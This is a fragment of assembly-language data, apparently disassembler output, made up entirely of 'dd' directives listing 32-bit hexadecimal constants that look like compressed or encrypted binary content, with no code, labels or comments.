		dd 32046F6h, 94892288h,	9117E988h, 0ABDFCC0Eh, 2B8B8055h
		dd 1CE7359h, 31331151h,	20B45EAFh, 0FD00D600h, 8D262BA6h
		dd 0FFB576h, 0CDFEF6BFh, 40F0328Fh, 0ABEE9200h,	0BDEC3009h
		dd 0C941073Fh, 10174D6Eh, 4A4CAD67h, 0A600857Ch, 887AF0Bh
		dd 0F09D34h, 0F661BB52h, 0B7143D69h, 20394E00h,	0EC055433h
		dd 71930036h, 4358592Ah, 0F02CCDAAh, 3428CED2h,	769B73Ch
		dd 0B66FA77Ch, 0D8164EB0h, 2F6A0098h, 0B0B3F1E4h, 0F907E70Dh
		dd 2D26F2F4h, 0A0496362h, 71735F84h, 0FF341CEAh, 0F29EC0CFh
		dd 5C5DE328h, 0EBE98600h, 23FAC112h, 464700E2h,	0DB828F59h
		dd 0D27939E5h, 2CFDF000h, 0DE6E459Fh, 63714Fh, 0A90D2EE0h
		dd 0E4E56787h, 0DB724Ch, 0D0F17E7Ah, 0EE8A0768h, 84B40071h
		dd 7F4C1DD2h, 0C2010E20h, 439DECEAh, 0BCD0E2C5h, 9519043Ch
		dd 835E99B2h, 75803D10h, 0C8A0D3F9h, 0C401DA12h, 5B6D4615h
		dd 0C822BEFCh, 436E4D00h, 45447101h, 59533Ah, 5EF0779Bh
		dd 33794B7h, 7E4A6FCh, 0A2D85C95h, 90039BB4h, 1C089A29h
		dd 649909Eh, 4AD30073h,	0FAB3623Bh, 120781BDh, 0ACCE30E0h
		dd 0AF38E07Fh, 0AA77BCh, 69358C23h, 32F44960h, 6A840F09h
		dd 0E44100C8h, 3980702Fh, 7430D08Eh, 216F6258h,	0B675E000h
		dd 0F1A1F23Dh, 0BC67034Ch, 71A33831h, 3474ED91h, 1700659Ch
		dd 2682AC1Bh, 75C3F2h, 0A7F789BBh, 239B05D3h, 48C51301h
		dd 198816E2h, 3A324570h, 0F200A7CCh, 0B1D6678Fh, 1D0F274Fh
		dd 81040E57h, 0D462C845h, 3A6240A8h, 2400BD49h,	96889F51h
		dd 2B00AC52h, 1390EC1Dh, 1254B182h, 3E80C30h, 7C99531Ch
		dd 801139C1h, 0F9735111h, 182520Eh, 844C33B7h, 0A491186Ch
		dd 0A10F3020h, 0D14E06A6h, 11726030h, 293C44D6h, 3727A000h
		dd 8CC5D3C7h, 7CB10E53h, 9C8E9A0Fh, 2786F101h, 4AF0F082h
		dd 99FE0D3Dh, 42201749h, 37D27CE0h, 0D0688CD3h,	10515C0Fh
		dd 581DBFEAh, 7407A425h, 70EAA827h, 8CD9D403h, 64B80101h
		dd 276C79B3h, 207BC869h, 7D03B5E2h, 0A9DE9D8Eh,	7FDC98A5h
		dd 5EB20266h, 0E1942898h, 0A8423260h, 2126F501h, 845896EFh
		dd 7FA43DCh, 35D8F882h,	39A6F047h, 9C038C65h, 0AEC8DC63h
		dd 281390F9h, 34474861h, 0E7D92F00h, 0B58E35DBh, 0B0A09862h
		dd 59DE8044h, 14A3E86h,	0C8CF5A7h, 0C015B5CCh, 386119B8h
		dd 0E4D2ADF1h, 0ABEBB440h, 300C0003h, 72A45BBEh, 260389F1h
		dd 0CE1FF055h, 88C003A8h, 20B74BFCh, 69054178h,	1F3B6881h
		dd 0E9439020h, 59D80078h, 0D2441732h, 987FA6C4h, 89B07A18h
		dd 39563F39h, 168040A9h, 29B69B90h, 0C6007141h,	9A96EB8Dh
		dd 549BAh, 0FC1B4B5Bh, 8AB6D286h, 7A45261Fh, 908C6B00h
		dd 0A4BA571h, 0C7B3F5D7h, 2FB98080h, 77406F15h,	0E7FBD100h
		dd 0FFF13C10h, 997800C2h, 9BBB0539h, 9360C0A3h,	0F4C374C9h
		dd 59CB064Ah, 1935C429h, 0F267C00h, 317564B0h, 0D42D009Dh
		dd 9E787270h, 56003666h, 973D7EC0h, 7B1F738Ah, 3ED02B0h
		dd 9D1E9926h, 22366048h, 1C29A712h, 0F6219D18h,	25B5004Bh
		dd 0EEE34D1Bh, 9903E869h, 0A9E7CA09h, 0A4C0E588h, 0EF92457h
		dd 609F9296h, 6CF3BA03h, 704A2CD8h, 68F42500h, 131EE066h
		dd 0B8F90749h, 46FE18C8h, 8A092145h, 8477E123h,	79C096C4h
		dd 48AE1B11h, 0BB3ADC49h, 8CD42860h, 890142B0h,	7119F8A1h
		dd 5D0F996h, 7520C348h,	9DF0B087h, 0EBE2060Bh, 0F55A4F08h
		dd 6F1C0067h, 0FE9A9C0Dh, 0F460B266h, 2368CF39h, 0B082C550h
		dd 0F9B106C1h, 20633452h, 50AFBD7Bh, 0B4808D00h, 0C8165EA2h
		dd 5B1006Ch, 0E447212Fh, 5D032535h, 0C66EF546h,	89700642h
		dd 1809BA14h, 5E8ED70Ah, 1E147447h, 0B0838140h,	32C6894Fh
		dd 0BA767400h, 41F0CBAFh, 6BD51707h, 47C1565Eh,	0E761C4h
		dd 33E5FB60h, 88A5EF29h, 514F7C00h, 0CEF6F891h,	84DA0022h
		dd 0AC8FD7Dh, 7C39896Bh, 0ECD680FEh, 91C0A0EAh,	0C6B200EBh
		dd 4C5FF984h, 0C3009C4Fh, 0CADF55DEh, 1936428h,	0B1033446h
		dd 0F82D47C7h, 403A331h, 95B0AC29h, 93ADC8D8h, 7DD400E6h
		dd 8CCCA25Eh, 0F60033CEh, 0C202DBD9h, 5A89082h,	0FA71EB4Bh
		dd 0A92FC085h, 0F300A772h, 13176245h, 16A83656h, 2275BEh
		dd 0B65EC322h, 1F0FE08Eh, 4094FA7Dh, 640496Ch, 17800EFh
		dd 4B88D428h, 0EB01A5D6h, 0F7C7E947h, 0AD0A31Bh, 362C02C5h
		dd 4D68619Dh, 4218D540h
		dd 28E3B807h, 1D00CB0h,	0BD3FEh, 0A569C7CCh, 92651929h
		dd 3EACFD00h, 9535887Dh, 0EF6700BBh, 0C3A9FB93h, 40F863F6h
		dd 0E2052E07h, 4F90B171h, 1C839862h, 80CA68ACh,	0BBEC34B5h
		dd 1E037A9Ch, 6B5AA175h, 3670007Fh, 0B9F0855Dh,	0D10E7883h
		dd 803228B6h, 1FB3A96Ch, 7620068Dh, 307BF6EAh, 9BCCC600h
		dd 0D614C048h, 1B7A0079h, 386EE85Eh, 2B0101BEh,	0CB4512D5h
		dd 0C060B342h, 325A0011h, 0B65FB9DCh, 8D12FB1Bh, 0B00C549h
		dd 8F95122Ch, 0D870F5Ch, 0AA600C76h, 71627897h,	0BB107260h
		dd 6D91D5h, 5348F51Bh, 745F0CBh, 2EA72900h, 97E90856h
		dd 30DB036Bh, 0AD43C36Ch, 7F7D381Ch, 475A1404h,	4E4C8D04h
		dd 0BE544009h, 0FB741F6h, 0B8243AC4h, 0DF85F1E3h, 7EF2E380h
		dd 0B359D600h, 5D3384DDh, 835100C0h, 4DF6745Ah,	6A009AD4h
		dd 4B5E1FBAh, 0E3350FEFh, 0F2F24460h, 0D6C10070h, 0B3B07CD2h
		dd 72001852h, 7E1E9289h, 0C06FAC53h, 4A2699A0h,	0FA008DFFh
		dd 0B0C82154h, 431465h,	0E7EAB7Ah, 0F9FD2F5Fh, 8C00C473h
		dd 86F8B8Eh, 0EE550Dh, 36B0B294h, 82D11820h, 6FE14095h
		dd 457F78h, 0DBA672FBh,	0BAAE99E0h, 51ED2C26h, 0C9539500h
		dd 8A73E6h, 3961776Ah, 9741BFACh, 0CB56E81Dh, 0FB8E100h
		dd 3BDE51h, 0B06B9C0h, 2CEEAA89h, 0E9AE5E00h, 0A566CAD8h
		dd 0CC050A9Ah, 4B02854h, 0E4AA20Ch, 14254044h, 0C1ACE398h
		dd 75237338h, 61C530FEh, 0B5D8A50Ah, 0F8A7D48Eh, 2F70009Dh
		dd 8991D6EEh, 0D24B32Bh, 0D01F3866h, 0ED0950C0h, 169BC3Fh
		dd 0AF906D97h, 20836295h, 107927FEh, 7B33406h, 2470ADBDh
		dd 3C4C7BD2h, 0DDEAAA85h, 21E00083h, 0A4642E7Fh, 0CA94D506h
		dd 30F6F05Dh, 0EA9793Bh, 7B03BC9Eh, 7CD92408h, 0DDFFE8F4h
		dd 0B4C800A4h, 0E328653Eh, 0F6079DD3h, 2A6D751Ch, 0FE235C01h
		dd 4540F4h, 0A721B894h,	631D9189h, 0A0EC59C0h, 73BE804h
		dd 0D2322ABDh, 4A9D20A9h, 8F0087A5h, 7B55480Ah,	0E07358A7h
		dd 5D115C28h, 0A018FF01h, 507DA4F0h, 249C2588h,	0F1A3E900h
		dd 125F80D7h, 30C6E449h, 52E944ECh, 0F606CCFEh,	6AD3FDB9h
		dd 953E0038h, 9FB281C4h, 84009153h, 0B8D85209h,	75067026h
		dd 0E0CE54B7h, 50650040h, 94E40AB6h, 13065275h,	8060158Ch
		dd 737D60h, 233DC5E7h, 0AF7A0D7Dh, 246E9B00h, 0B8EEE1C2h
		dd 7E8F5C61h, 4051B51Dh, 2EE427C8h, 49070729h, 99538D4Fh
		dd 7F1B20A0h, 0E28E005Fh, 8C91A51Ch, 2C03EA7Dh,	0FA331698h
		dd 0C9700027h, 0F16BEBF7h, 1F021757h, 5FE44ACCh, 0D204089h
		dd 0FD7CBEh, 0B1B4497h,	76EB55E0h, 63948D00h, 42889B57h
		dd 0E3B50056h, 2D6EB035h, 0C80323DDh, 6D4B97B9h, 0DCA2C0B2h
		dd 4DAF00D1h, 0E3A03591h, 0B5009EB0h, 9AE72E98h, 1052A04h
		dd 5D5E60AAh, 7F0E90B1h, 0FEDBBDB0h, 0D4C700D1h, 0AD4E644Fh
		dd 0A80094EBh, 0D8BD5BDDh, 19E6CB3h, 3479E275h,	0F099B737h
		dd 98008C06h, 51C2180Ah, 43B9B3h, 9F3B7E20h, 0E76FF667h
		dd 0AE027FEEh, 12FAE86Bh, 0FD304016h, 0C4240F8Fh, 8BA08DB8h
		dd 0F46A9FF1h, 73B9D900h, 0F28E3963h, 184E17AFh, 727E00D2h
		dd 48AB749Bh, 4A82F81Fh, 7C71DF40h, 223A77h, 0A5B52B7Fh
		dd 0AC031847h, 0B47A0218h, 11FE10h, 0AF3421F8h,	5DCC7CBDh
		dd 142B4F00h, 0F267DBD5h, 53F900BBh, 393A749h, 0CC0074BEh
		dd 4CE7833Fh, 9867CFC2h, 0B7DC00D2h, 21258604h,	0E21D1630h
		dd 7A02D89Eh, 4003B1E1h, 7574438h, 26949D8Fh, 0C2713563h
		dd 38486CC4h, 6E005CBCh, 0B896B9C2h, 68754Eh, 0D2E2D8C9h
		dd 2479F7DBh, 7469C824h, 0F233A803h, 19E3E007h,	0A54E005Fh
		dd 9210069Ch, 2F076ACEh, 40CC50EBh, 738E09D0h, 0E6100AEh
		dd 0D9FC545Ch, 933B9824h, 0BB01836Ah, 81538BF4h, 64F05FFEh
		dd 4E7B3094h, 4EB4F10h,	0C09E4537h, 53901347h, 4CEF2201h
		dd 200A52Ch, 0C3CAF81Fh, 8F0052C9h, 68280869h, 3FF4F2h
		dd 0AF3A9284h, 0C27BE1D4h, 0A3A9C807h, 4710E266h, 2A76D5Dh
		dd 821E299Ch, 0E0D5A483h, 5BDE84h, 854E7FAh, 4252917Eh
		dd 12752609h, 0E9F500CBh, 78F60525h, 0D6FE2Eh, 0E257C83Fh
		dd 9F90E8F1h, 0B076DF3Fh, 2604F06Ch, 0DC465821h, 122E4300h
		dd 0E1102BB6h, 0BD714700h, 0A8744437h, 31E739E0h, 1D64D200h
		dd 918BDEB5h, 78FF1C00h, 0CFB14702h, 333786Ch, 9FD72D80h
		dd 2BD835F0h, 0DA260D55h, 88A6F4B4h, 0F8EAB80h,	3C1A0A49h
		dd 0CF809B15h, 295B8AF3h, 0A9050794h, 738F23AAh, 54FC32C0h
		dd 0A0620035h, 0CF5164DEh, 0A40E22D6h, 807A3455h, 69DCD4EBh
		dd 0E1A7217h, 783F51Dh,	38334500h, 89091C6Eh, 805DF14Fh
		dd 0F704D5AAh, 0FA6200FFh, 0C7AD6F32h, 0CE003705h, 66A4537Fh
		dd 76752Bh, 2916E2CFh, 71101F23h, 0CA611103h, 81080CE1h
		dd 6C348BFFh, 0E94507B1h, 0A0DA1362h, 8521B914h, 5500F5FEh
		dd 0ADFC0B51h, 5D6256h,	0BFCE3412h, 0E4965AF7h,	0DEF66E01h
		dd 0E114285Ch, 2E00D463h, 2490971Eh, 1B069D0Ch,	10CB1C7Dh
		dd 0E19C0060h, 0E71AFD99h, 5C006A56h, 6E39ADDCh, 4C36BCBh
		dd 66E4F8FCh, 748802Fh,	93002078h, 7A15EB53h, 2874B3BCh
		dd 841256h, 2906B771h, 8B64D016h, 4B773100h, 0A64422EDh
		dd 1DFE0241h, 3ADEAC74h, 86EA0440h, 6FD45F02h, 0E84F3FC1h
		dd 574DA4h, 9E69AC14h, 212FB5B1h, 0C0471A28h, 677E070Bh
		dd 3777DCF9h, 0EE07DF11h, 3F150010h, 0CA0024F4h, 3181534Eh
		dd 16A7DADh, 0C6E55691h, 0FF751FD9h, 8FAC6E02h,	808D879Eh
		dd 2361D53Ch, 0F9370096h, 7770F0F2h, 4B000887h,	0BD30CCCAh
		dd 0F61B55Dh, 603E0E86h, 0D4A1505Ah, 0DD2F9CB8h, 8FC0F8BDh
		dd 80190360h, 1204F6Fh,	4227E52Eh, 0F079AB0Bh, 0E81F51D5h
		dd 9DDCB6C1h, 649FAF00h, 2B31FCh, 0D8674589h, 4074A519h
		dd 0E9906900h, 0D4628BCh, 7ABBEE49h, 0B95C60EAh, 0FCBF931Ch
		dd 7635F107h, 0DD0356A9h, 0A20AF022h, 0C3D12643h, 0C52500ECh
		dd 0E3CC8B7Ah, 80FA183Eh, 0C0F8745h, 0C1A472BDh, 0CAAACF10h
		dd 7BA2E470h, 4B0040EEh, 0AB29843Dh, 778F8C6h, 3E726AA9h
		dd 0B0CAC0CBh, 367E3918h, 968748A8h, 0CF8DC76h,	0EFF06B00h
		dd 0C4533481h, 95E05E0h, 403842A7h, 432B0F90h, 0BC0F5901h
		dd 2346C71Fh, 3D8778h, 3CEDC221h, 0DD09475Eh, 970132F2h
		dd 7E17E8FFh, 0EF4265h,	0F7B34729h, 0BDAE788Fh,	87ECDF77h
		dd 3F1E8800h, 9603FBC1h, 39B11276h, 9B100B04h, 0B0077C20h
		dd 0B7001EC8h, 0E6978703h, 2F44F51h, 0F25BCDF8h, 4B60D4DAh
		dd 0B800E2E1h, 0DBD6711Fh, 6133CB7h, 3EA25B2Ah,	0C660093Dh
		dd 3F2C7B21h, 1F137999h, 0C0E4CD7Fh, 0E036B79Ch, 0BA3DB57Dh
		dd 4CDA00D1h, 0BBD67C74h, 1E13F21Fh, 3C92EF8h, 0FECC1BDFh
		dd 0DAF40818h, 8C9E20h,	702D4604h, 7BAAE84Bh, 8AF0321Fh
		dd 1BD3BD40h, 0DFDBBDBh, 1A13145Eh, 377FE088h, 51461800h
		dd 6CBF9F32h, 0F308CC87h, 0FC005521h, 0E3CD6617h, 398864Ah
		dd 5EC6DE0Dh, 780ED4FBh, 0CD3A4371h, 2EF0689Dh,	98F81E6Ch
		dd 4EC83356h, 3F69C11Eh, 88853033h, 0CC851ADh, 407B2F29h
		dd 410ED649h, 0A5AC48B7h, 0AC44A9B4h, 2930E333h, 2A100D3Fh
		dd 0C5C8A50Bh, 3F267D80h, 0EFD856h, 0C4017F4h, 0A402A090h
		dd 0BD9DF51Eh, 9665C400h, 14D4A816h, 0B8B66824h, 5DC046C8h
		dd 46C93004h, 0A82286h
		dd 0A2047680h, 667C625Fh, 61063670h, 0B7E2F9E0h, 77230191h
		dd 4D9AF1B0h, 73C4C404h, 13B1C90Ah, 0A480B0EBh,	897D2391h
		dd 2B203D94h, 3120074h,	2178D25Bh, 0CE0D3B73h, 997D74E8h
		dd 396BBB30h, 0CA891CF5h, 4F8333BAh, 85B32ACCh,	0D8C2C8BEh
		dd 40B95446h, 0B1D1B1Bh, 9DB1278Bh, 805D8A00h, 0E175E484h
		dd 29423800h, 54DA0726h, 886E00DDh, 0E42410CFh,	1E00EADCh
		dd 7F1C7298h, 354A26Ah,	0AC9B9542h, 12D0784Bh, 2000E858h
		dd 0D135F88Ch, 783CCDDh, 0B2B7BC3Eh, 276550FDh,	1929467Eh
		dd 0D055045Ah, 91006090h, 29BCFFB8h, 7F8767h, 7791B2Bh
		dd 7E74B4D3h, 0F517D400h, 42B79276h, 0BD1E3A3Bh, 0BC098E03h
		dd 0B2E8F350h, 2A003FF5h, 1DF0F6BFh, 0AF49E6h, 4240B991h
		dd 0A14CBEFDh, 310A7D00h, 6D1D27A6h, 0FF20C093h, 57E3E15Fh
		dd 10924500h, 0B709F53Eh, 8D41004Dh, 67F4A046h,	2730764Ah
		dd 0DE92B835h, 24801C23h, 2D43808Fh, 3F3DBE81h,	7641CD00h
		dd 1C14779Ah, 262B3292h, 0A510F029h, 94368801h,	8920F888h
		dd 4491082Ch, 0E8842203h, 8588967h, 3E428417h, 78F9A711h
		dd 3D5F11F7h, 50822A12h, 0A024FF88h, 133B4E21h,	0FF4494C6h
		dd 409C48F6h, 40B761F2h, 28327628h, 483CFD50h, 7F1914A0h
		dd 42080E89h, 8484F544h, 72793822h, 0F08C88BAh,	0C980D089h
		dd 0B07C272Ah, 0C0E5513Fh, 50006662h, 563D910Ch, 5240F5h
		dd 0AB9087C7h, 0BFEE4A01h, 19D41600h, 76B58FDh,	575F0026h
		dd 478056F7h, 87004983h, 19456777h, 73A4B31h, 17D75A5Eh
		dd 0C0CBE7C9h, 54445116h, 0A79D7203h, 0C059F393h, 0C5FDC4h
		dd 701B453h, 3B3E664Ch,	3A1F5500h, 158AEEF4h, 0B72312F3h
		dd 595607F7h, 247A035h,	7871BC1Dh, 76628500h, 23C74EE4h
		dd 0F8B84Dh, 0AF9E909Ah, 6549532Fh, 898B9902h, 60EAA10Ch
		dd 873CD9h, 789518FAh, 8F0226DFh, 0A45F48h, 97930CF7h
		dd 0EAF5682Bh, 792A00BBh, 389602FCh, 4260E390h,	4794CF1Eh
		dd 25100075h, 0C7BCAABAh, 600E79Bh, 0F508DC59h,	0DAD54Bh
		dd 4005C0E5h, 18D30A1Fh, 558AFB00h, 3B04F6C7h, 30A9243Dh
		dd 1D7D80E4h, 5BD454F2h, 8FAEEF00h, 0BC3B4577h,	0D1E50058h
		dd 40066A1Eh, 6F079ED7h, 0AC44E093h, 33E4403Fh,	0F73CDA2h
		dd 0E5A75203h, 709467C0h, 0ED1F517Dh, 1801605Dh, 0BF66C0CBh
		dd 0A1FCD561h, 22431EADh, 5AE840B5h, 29F9517Ch,	6B0FBD00h
		dd 8C3EF4E4h, 326C00C9h, 0CACC056Ah, 0BC009170h, 808D85D5h
		dd 4CD48631h, 379336Bh,	0B90DDDC1h, 73E9A178h, 5CD88024h
		dd 1713FEABh, 0C1A400D1h, 0F56181F1h, 6D00A725h, 6CBA5A60h
		dd 16E5FE29h, 8019AAh, 0BCA6EBA8h, 0DF73EC5Fh, 0CFB40800h
		dd 9863266Fh, 0E03E00EAh, 0E8116780h, 0DE0301ADh, 59AE7795h
		dd 0FD2A88Fh, 89DD0055h, 0F89B0697h, 0F300E4FDh, 0C98A0925h
		dd 96794Ah, 0A64E8C57h,	0DB48BF6Bh, 0CD60E800h,	13D5404Bh
		dd 0E2E6010Ah, 0EAFB23F2h, 1E64D461h, 9B00B0F8h, 0D6AB7D76h
		dd 0FEA62672h, 658207AFh, 90124139h, 3AEC217Ah,	0B884CB83h
		dd 3DADE6B1h, 30F0EAE5h, 7C7C8EE7h, 4A7A8F8Ah, 0A5A36400h
		dd 0C34E656Dh, 2BBF482h, 44BD87C1h, 0B740D90Bh,	0EE1C1380h
		dd 178CBCB9h, 6F12850h,	2FDE99D1h, 0C8001054h, 4867D035h
		dd 7F2D68D5h, 349F00C5h, 144F0A51h, 0F11E4721h,	0CF00AEA8h
		dd 0A53F9C97h, 73FB002Fh, 0D41017BAh, 880F1F1Ah, 419F9A19h
		dd 0A118C0D9h, 0F65EFCCCh, 70ECCCh, 0BBC3A787h,	0C88EC251h
		dd 126183Eh, 913460D4h,	47CDB1BDh, 8F83BC57h, 4A83A72Ah
		dd 0F4A6D083h, 74116CBh, 765C07E4h, 7B3DF358h, 0A943C0BFh
		dd 0D2E2CF2Ah, 48E5F400h, 0AC0E0688h, 0CCF200DCh, 12FB4E05h
		dd 391C6490h, 720026E4h, 0E233B2E8h, 0CF06004Fh, 6776A5B8h
		dd 85601041h, 5A519876h, 0A468078Bh, 207EAD59h,	0BA39C3E1h
		dd 4D354C0Eh, 2B994015h, 0F5CDD85h, 78B4ECDh, 82C92E6Eh
		dd 0C7979A00h, 5E00CBD0h, 0CE8A0FE2h, 71411D68h, 7F56F6FEh
		dd 0D3620073h, 3084625h, 0DD00B9DAh, 0B37A21BFh, 7EE2CB6h
		dd 15702D7Bh, 0F4C8F157h, 0D5D240CFh, 0E4B26DA3h, 1C5EA700h
		dd 8963B2D3h, 7FF6129Eh, 8900AF27h, 0EA2C4DE4h,	77C75B6h
		dd 0AD8D91F2h, 0B87FB040h, 0F5001964h, 9EDC32BDh, 7283F95h
		dd 540E7E5Dh, 0B27920FAh, 0D548CAD0h, 5939000Bh, 75BF7FA0h
		dd 4D840022h, 1376B233h, 667EF381h, 0D6EF8D00h,	3D24F534h
		dd 0DD5F28C9h, 0CDD300D8h, 9C166560h, 0B90097FEh, 5FE90921h
		dd 0D6040Dh, 0ADC06A28h, 0D8709FA0h, 0C229A600h, 0E01453D5h
		dd 4F584891h, 9F238D00h, 12D9E3CDh, 288EB00h, 471E6F6Ah
		dd 0CA840019h, 0A08374A7h, 0D097369Ch, 0AA7759h, 0CFDF4BE6h
		dd 0F21E78F3h, 408EE400h, 4E9BDE5Dh, 4DE0005Fh,	7C852645h
		dd 540EF629h, 27B56015h, 68003EDBh, 982EE39Eh, 0CD643D59h
		dd 0D9095C81h, 30E9BFD2h, 2D003C44h, 6D3EDDF9h,	0A043B4E2h
		dd 77BB45C0h, 3AC000Ah,	0F360D630h, 592E742Bh, 0B30088EEh
		dd 425FD7DAh, 3330C779h, 0AA75C096h, 4A0BC644h,	6DF72Eh
		dd 26E3C4C1h, 3C57072Bh, 10C953A5h, 0DD51EB9Bh,	0CFCED12h
		dd 0AE299800h, 97B1Bh, 0C3C1E635h, 252E7216h, 0A0389300h
		dd 75D4DE2Bh, 0CD90EF0h, 0C6C08CE5h, 76814C9Ah,	7F1F4D00h
		dd 0BCED476Bh, 3DCF040Bh, 805BB2DFh, 2CB0E308h,	1FDD3000h
		dd 2472617Ch, 398A0028h, 4E84E15Ah, 6800E42Bh, 0E32E05AFh
		dd 2380D13h, 4F1FF11Ch,	0F7DE2A1Bh, 0A2845A0Eh,	40A350C4h
		dd 4D0A99B8h, 6001689Dh, 8A1F5B83h, 8544F4A6h, 705548h
		dd 9ACD803Fh, 0C2C6C1h,	0E6D65268h, 18A89E7Fh, 73993A00h
		dd 62B5530Fh, 355C00B1h, 2071EBB7h, 921FE9BEh, 0A641E8A9h
		dd 0D93118A5h, 1FA26AC4h, 4BC6D047h, 0A000206Eh, 0E3643F7Dh
		dd 85AEA300h, 93CC7471h, 0C0D3F4Ch, 15C95801h, 0D0439675h
		dd 0B3017CFAh, 97B849FEh, 7AE0AE56h, 8BD05050h,	849F004Fh
		dd 7FE49DDCh, 931F486Ch, 0EE0026A4h, 88BA77CBh,	2BC90764h
		dd 0B02D046Eh, 0A4A6A2Eh, 7206661Ch, 48B5B800h,	2460AA6Ch
		dd 41042FC4h, 0A6054BD2h, 0C840C83Eh, 84C9F2h, 63A2B887h
		dd 198C8997h, 1607C05h,	5D806B54h, 2570C34h, 7141D95Eh
		dd 0ECA0A3DBh, 0B8693F52h, 7894700h, 37D93548h,	983E0034h
		dd 6A75FD03h, 381E7F0Ch, 0B6806D8Eh, 20AA7EA7h,	23030005h
		dd 4F220EECh, 0E804FE1Fh, 0A994AB4Eh, 53612D00h, 84020CC2h
		dd 0D0E6574h, 0F38C0C0h, 0AE048h, 3B4C2AC8h, 0E84DF086h
		dd 0DA59AA00h, 0CAE21FCh, 486558D7h, 0C0262703h, 0FF80701Eh
		dd 6000ADC1h, 1A102364h, 0F2AA0E8Ah, 144A4865h,	0BCD45300h
		dd 0EEABB876h, 0A77BD0C0h, 7D3408h, 84FD56F4h, 7E992CBBh
		dd 0AA43ED00h, 80F2A7E3h, 0A6050015h, 8A0E24A9h, 0E490C8FAh
		dd 87A3CD12h, 0D4F21400h, 5E9A89Bh, 0FAFED888h,	17ECC0F9h
		dd 0D3E27C03h, 4EC8EA01h, 1D750C18h, 0E5454831h, 76590C00h
		dd 64B9E4h, 6BF288A6h, 3662B3F9h, 0C1ECAC00h, 0BBD2949Bh
		dd 834516E1h, 0B5C90706h, 0C52C8060h, 7D07B124h, 62FA485Dh
		dd 10488089h, 802FC6BAh, 0A300FCFBh, 0C066676Ch, 5C7B3627h
		dd 740BFC08h, 0EC800F42h, 6F0EB958h, 0AD03BC05h, 1C90386Dh
		dd 50B8C0C9h, 0A3D085h,	5144C311h, 4B2DFE2Fh, 0D1A45B00h
		dd 8CF53658h, 1CA630B9h
		dd 0EC3B68D8h, 15FFF009h, 9FA003Fh, 1E21735Fh, 0C67EB3h
		dd 0B4B2B795h, 0B63AA911h, 9A2C0717h, 6A0C583h,	3F93B69h
		dd 0C73DC101h, 7CA04E0Fh, 2A0B60EAh, 810CCA92h,	8BE826B4h
		dd 14C730h, 0CBF9C659h,	0C7626789h, 81190600h, 84B5D6A6h
		dd 7BE004h, 0E7FE8590h,	11D87FE5h, 8A69CA00h, 1FCEE23Ch
		dd 2F770EBFh, 86407824h, 0C27058A5h, 50A72B00h,	77D8D044h
		dd 3C1B0F34h, 6D20D3DEh, 94A6691Eh, 1D9E2F00h, 0C3F94A58h
		dd 0D149035Dh, 0E0B4CB3Eh, 0C2DCF6F0h, 23852A16h, 807409h
		dd 0C6DFBFB7h, 4C1005Fh, 396FF77Ch, 0F6A0A686h,	9BB822F5h
		dd 251FA370h, 0FB80FE9Fh, 0D2E63094h, 0BC650FCAh, 0D1C16661h
		dd 0EC88F22Fh, 7C1E055Ch, 42007ABFh, 0C48B1084h, 68DF3F55h
		dd 8C5E3200h, 2C6BF6F1h, 6AFD0100h, 0BCA33E5Bh,	3B85000Dh
		dd 477E8871h, 5E7FADF4h, 14559E00h, 0BB4002D9h,	0EF6FA17h
		dd 6FA344DDh, 0C580BD3Fh, 692B91EAh, 0D2F2A28Ch, 0C3875600h
		dd 5318F5F8h, 0AAFE001Ah, 789CFFC4h, 191857E0h,	2E4CD161h
		dd 42CD1DD0h, 0FF807BBDh, 77DB8E71h, 38003F7Bh,	0AF3457D5h
		dd 1E76981h, 5FA44267h,	0CC851976h, 0F012AA1Fh,	34029174h
		dd 60DEB213h, 5E4654h, 2427D42Eh, 893FD68Dh, 0D9902900h
		dd 5A96F31Fh, 0B81D01F6h, 9DA81C41h, 5E7ED098h,	0C3567800h
		dd 67D6ACBBh, 0D24A009Bh, 732CC160h, 78025BE3h,	0A4658CCFh
		dd 8DE0801Eh, 4C4D6D15h, 0FD005013h, 9AFC0D46h,	3C5CC6A3h
		dd 2A581622h, 0D8009613h, 0A0CE16A8h, 2294004Fh, 0E9E6A36Eh
		dd 7B71D473h, 8E2D7C00h, 0CF0B616h, 0FB6203F8h,	9B93215Ch
		dd 55FD9DB8h, 0F0EC17Dh, 0A0E5E673h, 18C3B5B6h,	4EB0008Bh
		dd 0DE4370C2h, 120061BBh, 60B11D28h, 0C5B927h, 9455546Dh
		dd 80CB29E5h, 0A9D3FA07h, 98E092BAh, 0C0D965E6h, 87677038h
		dd 0E00396F2h, 0BEDA51E3h, 0EB5DE8B4h, 30A64831h, 0A260004Bh
		dd 0BD0EF821h, 3ED4D73Dh, 0A0C68F66h, 0B6724070h, 0FCE762FCh
		dd 0CD653947h, 0F3F26C81h, 0C5919345h, 4A83D0D6h, 849CF450h
		dd 0FB4D7B00h, 2614CBDEh, 18E26007h, 79B4D173h,	3C24204Ch
		dd 3D0A5C5Ah, 0D000CEFBh, 78B39A38h, 3AB630C6h,	0B72E1899h
		dd 30FF1F03h, 0F08F3FFEh, 387447h, 0B15F0186h, 75247EE4h
		dd 28675500h, 31CB9E4Bh, 0D6170193h, 8D01C680h,	4A2FF819h
		dd 28F23624h, 63249698h, 9B8400B7h, 977F8ECBh, 0B601B05Ah
		dd 15345EC5h, 44F4A8B5h, 7CDC07CFh, 70A7B986h, 250804BAh
		dd 0E1003975h, 0E0E5746Ch, 60B4657Fh, 0E2AB6A46h, 0A0F4F241h
		dd 34986450h, 0C2169900h, 9219620Ah, 0FDD7169h,	5CC89BD1h
		dd 8B3A6A0h, 4F0EB7E0h,	20F75B2Dh, 0B497BB88h, 45821D40h
		dd 6149421Fh, 1A6089ACh, 5700C887h, 0FD26021Bh,	6095EDCDh
		dd 3B6180B2h, 2CFDE8BDh, 0B8E203F8h, 0AF627599h, 0D0C1A7E0h
		dd 0FFCB007Eh, 15870749h, 6BF8968Ch, 5129790Fh,	1F8360F4h
		dd 2E1E360Ah, 8090637Bh, 376802B1h, 0E4E0CDDBh,	0DA3027h
		dd 6533C558h, 20313B04h, 784FAB99h, 0B72FDCC6h,	0F8EA9700h
		dd 63BD1F25h, 5E8E3D67h, 20AD8000h, 0F9D87CABh,	2DBB4200h
		dd 0C20E530Ah, 9CF3035Ah, 607F5513h, 62CFCD88h,	902F8200h
		dd 0E429AD1Fh, 0A58C04E2h, 0F0098926h, 1003DB84h, 219F41E6h
		dd 0D8C094B2h, 159BD7h,	0D45C95CDh, 33942F19h, 9000E37Bh
		dd 6F65727Eh, 2423B3BDh, 34534Dh, 0C3DDF803h, 0C7161B48h
		dd 0F8008F42h, 66FB3DA5h, 4E27B30h, 84035E67h, 2A42804Ch
